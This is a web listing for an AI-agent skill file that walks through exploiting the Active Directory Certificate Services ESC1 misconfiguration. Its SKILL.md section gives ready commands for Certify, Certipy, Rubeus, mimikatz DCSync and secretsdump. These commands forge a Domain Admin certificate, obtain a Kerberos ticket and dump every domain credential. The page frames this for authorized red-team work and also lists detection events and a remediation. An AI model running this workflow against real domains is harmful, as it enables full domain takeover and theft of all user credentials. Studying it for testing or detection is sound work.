exploiting-active-directory-certificate-services-esc1

Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.

4,032 stars

Best use case

exploiting-active-directory-certificate-services-esc1 is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.

Teams using exploiting-active-directory-certificate-services-esc1 should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md --create-dirs "https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-active-directory-certificate-services-esc1 Compares

Feature / Agentexploiting-active-directory-certificate-services-esc1Standard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

Related Guides

SKILL.md Source

# Exploiting Active Directory Certificate Services ESC1

## Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).


## When to Use

- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding

## Prerequisites

- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Objectives

- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report

## MITRE ATT&CK Mapping

- **T1649** - Steal or Forge Authentication Certificates
- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket
- **T1078.002** - Valid Accounts: Domain Accounts
- **T1484** - Domain Policy Modification
- **T1087.002** - Account Discovery: Domain Account

## Workflow

### Phase 1: AD CS Enumeration
1. Enumerate Certificate Authority (CA) servers in the domain:
   ```powershell
   # Using Certify (Windows)
   Certify.exe cas

   # Using Certipy (Linux/Python)
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
   ```
2. Enumerate all certificate templates and identify vulnerable ones:
   ```powershell
   # Using Certify - find vulnerable templates
   Certify.exe find /vulnerable

   # Using Certipy - outputs JSON and text reports
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
   ```
3. Verify ESC1 conditions on identified templates:
   - `msPKI-Certificate-Name-Flag` contains `ENROLLEE_SUPPLIES_SUBJECT`
   - `pkiExtendedKeyUsage` contains Client Authentication or Smart Card Logon
   - `msPKI-Enrollment-Flag` does not require manager approval
   - Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

### Phase 2: Certificate Request with Arbitrary SAN
1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
   ```powershell
   # Using Certify (Windows)
   Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator

   # Using Certipy (Linux)
   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
   ```
2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
3. Save the output certificate in PFX/PEM format

### Phase 3: Authentication with Forged Certificate
1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):
   ```bash
   openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
   ```
2. Authenticate using PKINIT to obtain a TGT for the impersonated user:
   ```powershell
   # Using Rubeus (Windows)
   Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt

   # Using Certipy (Linux)
   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
   ```
3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)

### Phase 4: Domain Privilege Escalation
1. With the Domain Admin TGT, perform privileged operations:
   ```powershell
   # DCSync to dump all domain credentials
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all"

   # Or using secretsdump.py with the obtained NT hash
   secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
   ```
2. Validate Domain Admin access:
   ```powershell
   # List domain controllers
   dir \\DC01.domain.local\C$

   # Access Domain Admin shares
   dir \\DC01.domain.local\SYSVOL
   ```

## Tools and Resources

| Tool | Purpose | Platform |
|------|---------|----------|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |

## Vulnerable Template Indicators

| Condition | Vulnerable Value |
|-----------|-----------------|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |

## Detection Signatures

| Indicator | Detection Method |
|-----------|-----------------|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |

## Validation Criteria

- [ ] AD CS Certificate Authority enumerated
- [ ] Vulnerable ESC1 templates identified with Certify or Certipy
- [ ] Certificate requested with Domain Admin SAN successfully
- [ ] PKINIT authentication performed with forged certificate
- [ ] Domain Admin TGT obtained
- [ ] Privileged access to domain controller validated
- [ ] Full attack chain documented with evidence
- [ ] Remediation recommendations provided (disable Supply in Request, require manager approval)

Related Skills

performing-ssl-certificate-lifecycle-management

4032
from mukul975/Anthropic-Cybersecurity-Skills

SSL/TLS certificate lifecycle management encompasses the full process of requesting, issuing, deploying, monitoring, renewing, and revoking X.509 certificates. Poor certificate management is a leading

performing-mobile-app-certificate-pinning-bypass

4032
from mukul975/Anthropic-Cybersecurity-Skills

Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, or proxy-resistant app testing.

performing-directory-traversal-testing

4032
from mukul975/Anthropic-Cybersecurity-Skills

Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.

performing-active-directory-vulnerability-assessment

4032
from mukul975/Anthropic-Cybersecurity-Skills

Assess Active Directory security posture using PingCastle, BloodHound, and Purple Knight to identify misconfigurations, privilege escalation paths, and attack vectors.

performing-active-directory-penetration-test

4032
from mukul975/Anthropic-Cybersecurity-Skills

Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.

performing-active-directory-forest-trust-attack

4032
from mukul975/Anthropic-Cybersecurity-Skills

Enumerate and audit Active Directory forest trust relationships using impacket for SID filtering analysis, trust key extraction, cross-forest SID history abuse detection, and inter-realm Kerberos ticket assessment.

performing-active-directory-compromise-investigation

4032
from mukul975/Anthropic-Cybersecurity-Skills

Investigate Active Directory compromise by analyzing authentication logs, replication metadata, Group Policy changes, and Kerberos ticket anomalies to identify attacker persistence and lateral movement paths.

performing-active-directory-bloodhound-analysis

4032
from mukul975/Anthropic-Cybersecurity-Skills

Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.

implementing-mtls-for-zero-trust-services

4032
from mukul975/Anthropic-Cybersecurity-Skills

Configures mutual TLS (mTLS) authentication between microservices using Python cryptography library for certificate generation and ssl module for TLS verification. Validates certificate chains, checks expiration, and audits mTLS deployment status. Use when implementing zero-trust service-to-service authentication.

exploiting-zerologon-vulnerability-cve-2020-1472

4032
from mukul975/Anthropic-Cybersecurity-Skills

Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.

exploiting-websocket-vulnerabilities

4032
from mukul975/Anthropic-Cybersecurity-Skills

Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.

exploiting-vulnerabilities-with-metasploit-framework

4032
from mukul975/Anthropic-Cybersecurity-Skills

The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules